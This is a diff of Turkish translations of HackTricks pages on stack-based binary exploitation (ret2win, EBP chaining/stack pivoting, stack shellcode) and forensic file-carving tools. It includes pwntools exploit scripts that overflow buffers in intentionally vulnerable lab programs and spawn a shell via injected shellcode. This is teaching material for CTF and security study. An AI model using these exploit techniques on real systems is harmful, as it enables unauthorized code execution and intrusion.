-**Ret2win** zorlukları, özellikle **binary exploitation** ile ilgili görevlerde, **Capture The Flag (CTF)** yarışmalarında popüler bir kategoridir. Amaç, belirli bir ikili dosyadaki bir açığı kullanarak, genellikle `win`, `flag` gibi bir isimle adlandırılan, çağrılmamış bir fonksiyonu çalıştırmaktır. Bu fonksiyon çalıştırıldığında genellikle bir bayrak veya başarı mesajı yazdırır. Zorluk genellikle, istenen fonksiyona yürütme akışını yönlendirmek için yığındaki **return address**'i geçersiz kılmayı içerir. İşte daha ayrıntılı bir açıklama ve örnekler: +**Ret2win** zorlukları, özellikle **binary exploitation** ile ilgili görevlerde, **Capture The Flag (CTF)** yarışmalarında popüler bir kategoridir. Amaç, belirli bir ikili dosyada bir açığı kullanarak, genellikle `win`, `flag` gibi bir isimle adlandırılan, çağrılmamış bir fonksiyonu çalıştırmaktır. Bu fonksiyon çalıştırıldığında genellikle bir bayrak veya başarı mesajı yazdırır. Zorluk genellikle, istenen fonksiyona yürütme akışını yönlendirmek için yığın üzerindeki **return address**'i geçersiz kılmayı içerir. İşte daha ayrıntılı bir açıklama ve örnekler: ### C Örneği -Bir açığı olan basit bir C programını ve çağırmayı amaçladığımız bir `win` fonksiyonunu düşünün: +Bir açığı olan basit bir C programını ve çağırmayı amaçladığımız `win` fonksiyonunu düşünün: ```c #include #include @@ -33,13 +33,13 @@ gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c ``` - `-m32`: Programı 32-bit ikili olarak derle (bu isteğe bağlıdır ama CTF zorluklarında yaygındır). - `-fno-stack-protector`: Yığın taşmalarına karşı korumaları devre dışı bırak. -- `-z execstack`: Yığında kodun çalışmasına izin ver. +- `-z execstack`: Yığında kodun çalıştırılmasına izin ver. - `-no-pie`: `win` fonksiyonunun adresinin değişmemesini sağlamak için Konum Bağımsız Yürütülebilir'i devre dışı bırak. - `-o vulnerable`: Çıktı dosyasının adını `vulnerable` olarak belirle. -### Pwntools Kullanarak Python Exploit +### Python Exploit using Pwntools -Exploit için **pwntools** kullanacağız, bu güçlü bir CTF çerçevesidir ve exploit yazmak için kullanılır. Exploit betiği, tamponu taşırmak ve dönüş adresini `win` fonksiyonunun adresi ile yazmak için bir yük oluşturacaktır. +Exploit için **pwntools** kullanacağız, bu güçlü bir CTF çerçevesidir. Exploit betiği, tamponu taşırmak ve dönüş adresini `win` fonksiyonunun adresi ile yazmak için bir yük oluşturacaktır. ```python from pwn import * @@ -69,8 +69,8 @@ Python betiği, `vulnerable_function` tarafından işlendiğinde, tamponu taşı ## Koruma Önlemleri -- [**PIE**](../../common-binary-protections-and-bypasses/pie/) **devre dışı bırakılmalıdır** ki adres, yürütmeler arasında güvenilir olsun; aksi takdirde fonksiyonun saklanacağı adres her zaman aynı olmayacak ve `win` fonksiyonunun nerede yüklü olduğunu anlamak için bir sızıntıya ihtiyacınız olacak. Bazı durumlarda, taşmaya neden olan fonksiyon `read` veya benzeri olduğunda, dönüş adresini `win` fonksiyonu olacak şekilde değiştirmek için 1 veya 2 baytlık **Kısmi Üst Üste Binen** bir işlem yapabilirsiniz. ASLR'nin çalışma şekli nedeniyle, son üç hex nibble rastgeleleştirilmez, bu nedenle doğru dönüş adresini elde etme şansı **1/16** (1 nibble) vardır. -- [**Yığın Kanalları**](../../common-binary-protections-and-bypasses/stack-canaries/) da devre dışı bırakılmalıdır, aksi takdirde tehlikeye atılmış EIP dönüş adresi asla takip edilmeyecektir. +- [**PIE**](../../common-binary-protections-and-bypasses/pie/index.html) **devre dışı bırakılmalıdır** ki adres, yürütmeler arasında güvenilir olsun; aksi takdirde fonksiyonun saklanacağı adres her zaman aynı olmayacak ve `win` fonksiyonunun nerede yüklü olduğunu anlamak için bir sızıntıya ihtiyacınız olacak. Bazı durumlarda, taşmaya neden olan fonksiyon `read` veya benzeri olduğunda, dönüş adresini `win` fonksiyonu olacak şekilde değiştirmek için 1 veya 2 baytlık **Kısmi Yazma** yapabilirsiniz. ASLR'nin çalışma şekli nedeniyle, son üç hex nibble rastgeleleştirilmez, bu nedenle doğru dönüş adresini elde etme şansı **1/16** (1 nibble) olur. +- [**Yığın Kanalları**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) da devre dışı bırakılmalıdır, aksi takdirde tehlikeye atılmış EIP dönüş adresi asla takip edilmeyecektir. ## Diğer Örnekler & Referanslar @@ -82,17 +82,17 @@ Python betiği, `vulnerable_function` tarafından işlendiğinde, tamponu taşı - [https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html) - 64 bit, ASLR yok - [https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html) -- 32 bit, ASLR yok, çift küçük taşma, ilk olarak yığını taşır ve ikinci taşmanın boyutunu büyütür +- 32 bit, ASLR yok, çift küçük taşma, ilk yığını taşır ve ikinci taşmanın boyutunu büyütür - [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html) -- 32 bit, relro, kanarya yok, nx, pie yok, `fflush` adresini `win` fonksiyonu ile (ret2win) üst üste yazmak için format dizesi +- 32 bit, relro, kanarya yok, nx, pie yok, `fflush` adresini `win` fonksiyonu ile (ret2win) yazmak için format dizesi - [https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html) -- 32 bit, nx, başka bir şey yok, `win` fonksiyonunu çağırmak için EIP'nin kısmi üst üste yazılması (1Bayt) +- 32 bit, nx, başka bir şey yok, `win` fonksiyonunu çağırmak için EIP'nin kısmi yazımı (1Bayt) - [https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html) -- 32 bit, nx, başka bir şey yok, `win` fonksiyonunu çağırmak için EIP'nin kısmi üst üste yazılması (1Bayt) +- 32 bit, nx, başka bir şey yok, `win` fonksiyonunu çağırmak için EIP'nin kısmi yazımı (1Bayt) - [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html) -- Program, bir sayının boyutunu kontrol etmek için yalnızca son baytı doğruluyor, bu nedenle son bayt izin verilen aralıkta olduğu sürece herhangi bir boyut eklemek mümkündür. Ardından, girdi, bir ret2win ile istismar edilen bir tampon taşması oluşturur. +- Program, bir sayının boyutunu kontrol etmek için yalnızca son baytı doğruluyor, bu nedenle son bayt izin verilen aralıkta olduğu sürece herhangi bir boyut eklemek mümkündür. Ardından, girdi bir tampon taşması oluşturur ve bu, bir ret2win ile istismar edilir. - [https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/](https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/) -- 64 bit, relro, kanarya yok, nx, pie. `win` fonksiyonunu çağırmak için kısmi üst üste yazma (ret2win) +- 64 bit, relro, kanarya yok, nx, pie. `win` fonksiyonunu çağırmak için kısmi yazma (ret2win) - [https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/](https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/) - arm64, PIE, `win` fonksiyonu aslında 2 fonksiyondur, bu nedenle 2 fonksiyonu çağıran ROP gadget - [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/) diff --git a/src/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md b/src/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md index 36a42c429..a4a1d54c3 100644 --- a/src/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md +++ b/src/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md @@ -4,7 +4,7 @@ ## Temel Bilgiler -Bu teknik, **Base Pointer (EBP)**'yi manipüle etme yeteneğinden yararlanarak, EBP kaydının dikkatli kullanımı ve **`leave; ret`** talimat dizisi aracılığıyla birden fazla fonksiyonun yürütülmesini zincirleme işlemini gerçekleştirir. +Bu teknik, **Base Pointer (EBP)**'yi manipüle etme yeteneğini kullanarak, EBP kaydının dikkatli kullanımı ve **`leave; ret`** talimat dizisi aracılığıyla birden fazla işlevin yürütülmesini zincirleme yeteneğini istismar eder. Hatırlatmak gerekirse, **`leave`** temelde şunu ifade eder: ``` @@ -19,7 +19,7 @@ Ve **EBP yığında** EIP'den önce olduğu için, yığını kontrol ederek bun Bu teknik, **EBP kaydını değiştirebildiğiniz ancak EIP kaydını doğrudan değiştirme yolunuzun olmadığı** durumlarda özellikle faydalıdır. Fonksiyonların çalışmayı bitirdiğinde gösterdiği davranışı kullanır. Eğer `fvuln`'in çalışması sırasında, yığında shellcode'unuzun adresine işaret eden bir **sahte EBP** enjekte etmeyi başarırsanız (artı `pop` işlemi için 4 byte ekleyerek), EIP'yi dolaylı olarak kontrol edebilirsiniz. `fvuln` döndüğünde, ESP bu hazırlanmış konuma ayarlanır ve sonraki `pop` işlemi ESP'yi 4 azaltır, **etkili bir şekilde orada saldırgan tarafından saklanan bir adrese işaret eder.**\ -İki adresi **bilmeniz gerektiğini unutmayın**: ESP'nin gideceği adres ve ESP'nin işaret ettiği adresi yazmanız gereken yer. +**2 adresi bilmeniz gerektiğine dikkat edin**: ESP'nin gideceği adres ve ESP tarafından işaret edilen adresi yazmanız gereken yer. #### Exploit Yapısı @@ -28,22 +28,22 @@ Eğer `fvuln`'in çalışması sırasında, yığında shellcode'unuzun adresine Sonra, **rastgele kodu çalıştıracak** `ret` tarafından kullanılan adresi bilmeniz gerekir. Şunları kullanabilirsiniz: - Geçerli bir [**ONE_GADGET**](https://github.com/david942j/one_gadget) adresi. -- **`system()`** adresi, ardından **4 gereksiz byte** ve `"/bin/sh"` adresi (x86 bit). +- **`system()`** adresi, ardından **4 gereksiz byte** ve `"/bin/sh"` adresi (x86 bitleri). - **`jump esp;`** gadget'ının adresi ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) ardından çalıştırılacak **shellcode**. -- Bazı [**ROP**](../rop-return-oriented-programing/) zincirleri. +- Bazı [**ROP**](../rop-return-oriented-programing/index.html) zincirleri. -Kontrollü bellek kısmındaki bu adreslerin önünde **`4` byte** bulunması gerektiğini unutmayın, çünkü **`pop`** kısmı `leave` talimatının bir parçasıdır. Bu 4B'yi, **ikinci sahte EBP** ayarlamak ve yürütmeyi kontrol etmeye devam etmek için kötüye kullanmak mümkündür. +Kontrollü bellek kısmındaki bu adreslerden önce **`4` byte** bulunması gerektiğini unutmayın, çünkü **`pop`** kısmı `leave` talimatının bir parçasıdır. Bu 4B'yi, **ikinci sahte EBP** ayarlamak ve yürütmeyi kontrol etmeye devam etmek için kötüye kullanmak mümkündür. #### Off-By-One Exploit Bu tekniğin "Off-By-One Exploit" olarak bilinen özel bir varyantı vardır. **EBP'nin en az anlamlı byte'ını yalnızca değiştirebildiğiniz** durumlarda kullanılır. Böyle bir durumda, **`ret`** ile atlanacak adresi saklayan bellek konumu, EBP ile ilk üç byte'ı paylaşmalıdır, bu da daha kısıtlı koşullarla benzer bir manipülasyona izin verir.\ -Genellikle, mümkün olduğunca uzağa atlamak için byte 0x00'ı değiştirilir. +Genellikle, mümkün olduğunca uzağa atlamak için byte 0x00 değiştirilir. -Ayrıca, yığında bir RET sled kullanmak ve gerçek ROP zincirini en sona koymak yaygındır, böylece yeni ESP'nin RET SLED'in içine işaret etmesi ve son ROP zincirinin çalıştırılması daha olası hale gelir. +Ayrıca, yığında bir RET sled kullanmak ve gerçek ROP zincirini en sona koymak yaygındır, böylece yeni ESP'nin RET SLED'in içine işaret etmesi ve nihai ROP zincirinin çalıştırılması daha olası hale gelir. ### **EBP Zincirleme** -Bu nedenle, yığındaki `EBP` girişine kontrol edilen bir adres koyarak ve `EIP`'de `leave; ret` adresi koyarak, **`ESP`'yi yığından kontrol edilen `EBP` adresine taşımak mümkündür**. +Bu nedenle, yığın üzerindeki `EBP` girişine kontrol edilen bir adres koyarak ve `EIP`'de `leave; ret` adresi koyarak, **`ESP`'yi yığın üzerindeki kontrol edilen `EBP` adresine taşımak mümkündür**. Artık, **`ESP`** istenen bir adrese işaret ediyor ve yürütülecek bir sonraki talimat bir `RET`. Bunu kötüye kullanmak için, kontrol edilen ESP yerine şunları yerleştirmek mümkündür: @@ -54,9 +54,9 @@ Artık, **`ESP`** istenen bir adrese işaret ediyor ve yürütülecek bir sonrak Temelde bu şekilde, programın akışını kontrol etmek için birkaç sahte EBP'yi zincirlemek mümkündür. -Bu, [ret2lib](../rop-return-oriented-programing/ret2lib/) gibidir, ancak görünür bir faydası olmadan daha karmaşıktır, ancak bazı kenar durumlarında ilginç olabilir. +Bu, [ret2lib](../rop-return-oriented-programing/ret2lib/index.html) gibidir, ancak görünür bir faydası olmadan daha karmaşıktır, ancak bazı kenar durumlarında ilginç olabilir. -Ayrıca, bu tekniği bir **stack leak** ile kazanan bir fonksiyonu çağırmak için kullanan bir [**challenge örneği**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) burada bulunmaktadır. Bu sayfanın son payload'u: +Ayrıca, bu tekniği kullanan bir [**challenge örneği**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) burada bulunmaktadır ve bir **stack leak** ile kazanan bir fonksiyonu çağırır. Bu sayfanın son yükü: ```python from pwn import * @@ -94,7 +94,7 @@ print(p.recvline()) ``` ## EBP kullanılmayabilir -As [**explained in this post**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), eğer bir ikili bazı optimizasyonlarla derlenmişse, **EBP asla ESP'yi kontrol etmez**, bu nedenle EBP'yi kontrol ederek çalışan herhangi bir istismar temelde başarısız olur çünkü gerçek bir etkisi yoktur.\ +As [**explained in this post**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), eğer bir ikili bazı optimizasyonlarla derlenmişse, **EBP asla ESP'yi kontrol edemez**, bu nedenle EBP'yi kontrol ederek çalışan herhangi bir istismar temelde başarısız olur çünkü gerçek bir etkisi yoktur.\ Bu, **prolog ve epilog değişiklikleri** ikili optimize edildiğinde gerçekleşir. - **Optimize edilmemiş:** @@ -188,13 +188,13 @@ ret2esp tekniğini burada kontrol edin: - [https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html) - 64 bit, bir ret sled ile başlayan bir rop zinciri ile bir off by one istismarı - [https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html) -- 64 bit, no relro, canary, nx ve pie. Program, yığın veya pie için bir leak ve bir qword için bir WWW sağlar. Önce yığın leak'ini alın ve pie leak'ini geri almak için WWW'yi kullanın. Ardından, `.fini_array` girişlerini kötüye kullanarak sonsuz bir döngü oluşturmak için WWW'yi kullanın + `__libc_csu_fini` çağrısı ([daha fazla bilgi burada](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). Bu "sonsuz" yazmayı kötüye kullanarak, .bss içinde bir ROP zinciri yazılır ve RBP ile pivotlama ile çağrılır. +- 64 bit, no relro, canary, nx ve pie. Program, yığın veya pie için bir leak ve bir qword için bir WWW sağlar. Önce yığın leak'ini alın ve pie leak'ini almak için WWW'yi kullanın. Ardından, `.fini_array` girişlerini kötüye kullanarak sonsuz bir döngü oluşturmak için WWW'yi kullanın + `__libc_csu_fini` çağrısı ([daha fazla bilgi burada](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). Bu "sonsuz" yazmayı kötüye kullanarak, .bss içinde bir ROP zinciri yazılır ve RBP ile pivotlama ile çağrılır. ## ARM64 -ARM64'te, fonksiyonların **prologları ve epilogları** **SP kaydını** yığında saklamaz ve geri almaz. Dahası, **`RET`** talimatı SP tarafından işaret edilen adrese dönmez, ancak **`x30`** içindeki adrese döner. +ARM64'te, fonksiyonların **prologları ve epilogları** **SP kaydını** yığında saklamaz ve geri almaz. Dahası, **`RET`** komutu SP tarafından işaret edilen adrese dönmez, ancak **`x30`** içindeki adrese döner. -Bu nedenle, varsayılan olarak, sadece epilogu kötüye kullanarak **SP kaydını kontrol edemezsiniz** yığında bazı verileri üzerine yazarak. Ve SP'yi kontrol etmeyi başarsanız bile, **`x30`** kaydını **kontrol etmenin** bir yoluna ihtiyacınız olacaktır. +Bu nedenle, varsayılan olarak, sadece epilogu kötüye kullanarak **SP kaydını kontrol edemezsiniz** yığın içindeki bazı verileri üzerine yazarak. Ve SP'yi kontrol etmeyi başarırsanız bile, **`x30`** kaydını **kontrol etmenin** bir yoluna ihtiyacınız olacaktır. - prolog @@ -212,7 +212,7 @@ add sp, sp, 16 ret ``` -> [!DİKKAT] +> [!CAUTION] > ARM64'te yığın pivotlamaya benzer bir şey gerçekleştirme yolu, **`SP`'yi kontrol edebilmek** (SP'ye geçirilen bir kaydı kontrol ederek veya bir nedenle SP'nin adresini yığından alması ve bir taşma yaşanması durumunda) ve ardından **epilogu kötüye kullanarak** **kontrollü bir `SP`'den** **`x30`** kaydını yüklemek ve **`RET`** ile ona dönmektir. Ayrıca, aşağıdaki sayfada **Ret2esp'in ARM64'teki** eşdeğerini görebilirsiniz: diff --git a/src/binary-exploitation/stack-overflow/stack-shellcode/README.md b/src/binary-exploitation/stack-overflow/stack-shellcode/README.md index 2e4e26ea3..abbf15850 100644 --- a/src/binary-exploitation/stack-overflow/stack-shellcode/README.md +++ b/src/binary-exploitation/stack-overflow/stack-shellcode/README.md @@ -4,11 +4,11 @@ ## Temel Bilgiler -**Stack shellcode**, bir saldırganın savunmasız bir programın yığınında shellcode yazdığı ve ardından **Instruction Pointer (IP)** veya **Extended Instruction Pointer (EIP)**'yi bu shellcode'un konumuna işaret edecek şekilde değiştirdiği **binary exploitation**'da kullanılan bir tekniktir. Bu, yetkisiz erişim sağlamak veya hedef sistemde rastgele komutlar çalıştırmak için kullanılan klasik bir yöntemdir. İşte sürecin bir dökümü, basit bir C örneği ve buna karşılık gelen bir istismar yazma şekliniz ile birlikte **pwntools** kullanarak. +**Stack shellcode**, bir saldırganın savunmasız bir programın yığınında shellcode yazdığı ve ardından **Instruction Pointer (IP)** veya **Extended Instruction Pointer (EIP)**'yi bu shellcode'un konumuna işaret edecek şekilde değiştirdiği **binary exploitation**'da kullanılan bir tekniktir. Bu, yetkisiz erişim sağlamak veya hedef sistemde rastgele komutlar çalıştırmak için kullanılan klasik bir yöntemdir. İşte sürecin bir dökümü, basit bir C örneği ve bununla birlikte **pwntools** kullanarak nasıl bir istismar yazabileceğinize dair bilgiler. ### C Örneği: Savunmasız Bir Program -Basit bir savunmasız C programı örneği ile başlayalım: +Basit bir savunmasız C programı örneğiyle başlayalım: ```c #include #include @@ -34,12 +34,12 @@ gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c ``` - `-fno-stack-protector`: Yığın korumasını devre dışı bırakır. - `-z execstack`: Yığını çalıştırılabilir hale getirir, bu da yığında saklanan shellcode'un çalıştırılması için gereklidir. -- `-no-pie`: Konumdan bağımsız çalıştırılabilir dosyayı devre dışı bırakır, bu da shellcode'un nerede bulunacağını tahmin etmeyi kolaylaştırır. +- `-no-pie`: Konumdan bağımsız çalıştırılabilir dosyayı devre dışı bırakır, bu da shellcode'un yer alacağı bellek adresini tahmin etmeyi kolaylaştırır. - `-m32`: Programı 32-bit çalıştırılabilir olarak derler, genellikle istismar geliştirmede basitlik için kullanılır. ### Python Exploit using Pwntools -İşte **pwntools** kullanarak **ret2shellcode** saldırısı gerçekleştirmek için Python'da bir exploit yazmanın yolu: +İşte **pwntools** kullanarak **ret2shellcode** saldırısı gerçekleştirmek için Python'da bir istismar yazmanın yolu: ```python from pwn import * @@ -66,26 +66,26 @@ payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide p.sendline(payload) p.interactive() ``` -Bu script, bir **NOP kaydırma**, **shellcode** ve ardından **EIP**'yi NOP kaydırmaya işaret eden adresle yazan bir yük oluşturur, böylece shellcode'un çalıştırılmasını sağlar. +Bu script, bir **NOP slide**, **shellcode** ve ardından **EIP**'yi NOP slide'ına işaret eden adresle yazan bir payload oluşturur, böylece shellcode'un çalıştırılmasını sağlar. -**NOP kaydırma** (`asm('nop')`), yürütmenin tam adrese bakılmaksızın shellcode'umuza "kaymasını" sağlama şansını artırmak için kullanılır. `p32()` argümanını, tamponunuzun başlangıç adresine artı bir offset ekleyerek NOP kaydırmasına ulaşacak şekilde ayarlayın. +**NOP slide** (`asm('nop')`), yürütmenin tam adrese bakılmaksızın shellcode'umuza "kaymasını" sağlama şansını artırmak için kullanılır. `p32()` argümanını, buffer'ınızın başlangıç adresine artı bir offset ekleyerek NOP slide'ına ulaşacak şekilde ayarlayın. ## Koruma Önlemleri -- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/) **devre dışı bırakılmalıdır** ki adres, yürütmeler arasında güvenilir olsun veya fonksiyonun saklanacağı adres her zaman aynı olmayacak ve kazanma fonksiyonunun nerede yüklü olduğunu anlamak için bir sızıntıya ihtiyacınız olacak. -- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/) da devre dışı bırakılmalıdır yoksa ele geçirilmiş EIP dönüş adresi asla takip edilmeyecektir. -- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **yığın** koruması, bu bölge çalıştırılabilir olmadığından shellcode'un yığın içinde çalıştırılmasını engeller. +- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **devre dışı bırakılmalıdır** ki adres, yürütmeler arasında güvenilir olsun; aksi takdirde, fonksiyonun saklanacağı adres her zaman aynı olmayacak ve win fonksiyonunun nerede yüklü olduğunu anlamak için bir leak'e ihtiyacınız olacak. +- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) da devre dışı bırakılmalıdır, aksi takdirde, ele geçirilmiş EIP dönüş adresi asla takip edilmeyecektir. +- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **stack** koruması, shellcode'un stack içinde çalıştırılmasını engeller çünkü o bölge çalıştırılabilir olmayacaktır. ## Diğer Örnekler ve Referanslar - [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode) - [https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html) -- 64bit, yığın adres sızıntısı ile ASLR, shellcode yaz ve ona atla +- 64bit, stack adres leak ile ASLR, shellcode yaz ve ona atla - [https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html) -- 32 bit, yığın sızıntısı ile ASLR, shellcode yaz ve ona atla +- 32 bit, stack leak ile ASLR, shellcode yaz ve ona atla - [https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html) -- 32 bit, yığın sızıntısı ile ASLR, exit() çağrısını önlemek için karşılaştırma, bir değişkeni bir değerle yaz ve shellcode yaz ve ona atla +- 32 bit, stack leak ile ASLR, exit() çağrısını önlemek için karşılaştırma, bir değişkeni bir değerle yaz ve shellcode yaz ve ona atla - [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/) -- arm64, ASLR yok, yığını çalıştırılabilir hale getirmek için ROP gadget ve yığında shellcode'a atla +- arm64, ASLR yok, stack'i çalıştırılabilir hale getirmek için ROP gadget ve stack'teki shellcode'a atla {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md b/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md index 59a38a0ef..ca829e9eb 100644 --- a/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md +++ b/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md @@ -1,8 +1,8 @@ -# Dosya/Veri Oymacılığı ve Kurtarma Araçları +# File/Data Carving & Recovery Tools {{#include ../../../banners/hacktricks-training.md}} -## Oymacılık ve Kurtarma Araçları +## Carving & Recovery tools Daha fazla araç için [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery) @@ -12,9 +12,9 @@ Görüntülerden dosya çıkarmak için adli bilimlerde en yaygın kullanılan a ### Binwalk -**Binwalk**, gömülü içeriği bulmak için ikili dosyaları analiz etmek için kullanılan bir araçtır. `apt` ile kurulabilir ve kaynak kodu [GitHub](https://github.com/ReFirmLabs/binwalk)'ta bulunmaktadır. +**Binwalk**, gömülü içeriği bulmak için ikili dosyaları analiz etmek için bir araçtır. `apt` ile kurulabilir ve kaynak kodu [GitHub](https://github.com/ReFirmLabs/binwalk)'ta bulunmaktadır. -**Faydalı komutlar**: +**Kullanışlı komutlar**: ```bash sudo apt install binwalk #Insllation binwalk file #Displays the embedded data in the given file @@ -23,7 +23,7 @@ binwalk --dd ".*" file #Displays and extracts all files from the given file ``` ### Foremost -Gizli dosyaları bulmak için başka bir yaygın araç **foremost**'tur. Foremost'un yapılandırma dosyasını `/etc/foremost.conf` içinde bulabilirsiniz. Eğer sadece belirli dosyaları aramak istiyorsanız, bunların yorumunu kaldırın. Eğer hiçbirinin yorumunu kaldırmazsanız, foremost varsayılan olarak yapılandırılmış dosya türlerini arayacaktır. +Başka bir yaygın araç, gizli dosyaları bulmak için **foremost**'tur. Foremost'un yapılandırma dosyasını `/etc/foremost.conf` içinde bulabilirsiniz. Eğer sadece belirli dosyaları aramak istiyorsanız, bunların yorumunu kaldırın. Eğer hiçbirinin yorumunu kaldırmazsanız, foremost varsayılan olarak yapılandırılmış dosya türlerini arayacaktır. ```bash sudo apt-get install foremost foremost -v -i file.img -o output @@ -31,7 +31,7 @@ foremost -v -i file.img -o output ``` ### **Scalpel** -**Scalpel**, bir dosyanın içine gömülü **dosyaları** bulmak ve çıkarmak için kullanılabilecek bir başka araçtır. Bu durumda, çıkarmak istediğiniz dosya türlerini yapılandırma dosyasından (_/etc/scalpel/scalpel.conf_) yorumdan çıkarmanız gerekecektir. +**Scalpel**, bir dosya içinde gömülü **dosyaları** bulmak ve çıkarmak için kullanılabilecek bir diğer araçtır. Bu durumda, çıkarmak istediğiniz dosya türlerini yapılandırma dosyasından (_/etc/scalpel/scalpel.conf_) yorum satırından çıkarmanız gerekecektir. ```bash sudo apt-get install scalpel scalpel file.img -o output @@ -40,11 +40,11 @@ scalpel file.img -o output Bu araç kali içinde gelir ama burada bulabilirsiniz: [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor) -Bu araç bir görüntüyü tarayabilir ve içindeki **pcap'leri** **ağ bilgilerini (URL'ler, alan adları, IP'ler, MAC'ler, mailler)** ve daha fazla **dosyayı** **çıkarır**. Yapmanız gereken tek şey: +Bu araç bir görüntüyü tarayabilir ve içindeki **pcap'leri** **çıkartır**, **ağ bilgilerini (URL'ler, alan adları, IP'ler, MAC'ler, mailler)** ve daha fazla **dosyayı** alır. Yapmanız gereken tek şey: ``` bulk_extractor memory.img -o out_folder ``` -Tüm bilgileri (şifreler?) toplayan aracı **gezin**, **analiz et** ve **paketleri** (oku[ **Pcaps analizi**](../pcap-inspection/)), **garip alan adları** (kötü amaçlı yazılımlarla veya **var olmayan** alan adlarıyla ilgili) arayın. +Tüm bilgileri (şifreler?) toplayan aracın üzerinden geçin, **analiz** edin, **paketleri** (okuyun [**Pcaps analizi**](../pcap-inspection/index.html)), **garip alan adları** arayın (kötü amaçlı yazılımlarla veya **var olmayan** alan adlarıyla ilgili). ### PhotoRec @@ -58,14 +58,14 @@ GUI ve CLI sürümleri ile gelir. PhotoRec'in aramasını istediğiniz **dosya t [Kod](https://code.google.com/archive/p/binvis/) ve [web sayfası aracı](https://binvis.io/#/) kontrol edin. -#### BinVis'in Özellikleri +#### BinVis Özellikleri - Görsel ve aktif **yapı görüntüleyici** - Farklı odak noktaları için birden fazla grafik - Bir örneğin bölümlerine odaklanma - PE veya ELF yürütülebilir dosyalarda **dize ve kaynakları** görme - Dosyalar üzerinde kriptoanaliz için **desenler** elde etme -- **Paketleyici** veya kodlayıcı algoritmalarını **belirleme** +- **Packer** veya kodlayıcı algoritmalarını **belirleme** - Desenler ile Steganografi **tanımlama** - **Görsel** ikili fark analizi diff --git a/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-tools.md b/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-tools.md index a181cc53e..5920abde6 100644 --- a/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-tools.md +++ b/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-tools.md @@ -4,12 +4,12 @@ ## Autopsy -Görüntülerden dosyaları çıkarmak için adli bilimlerde en yaygın kullanılan araç 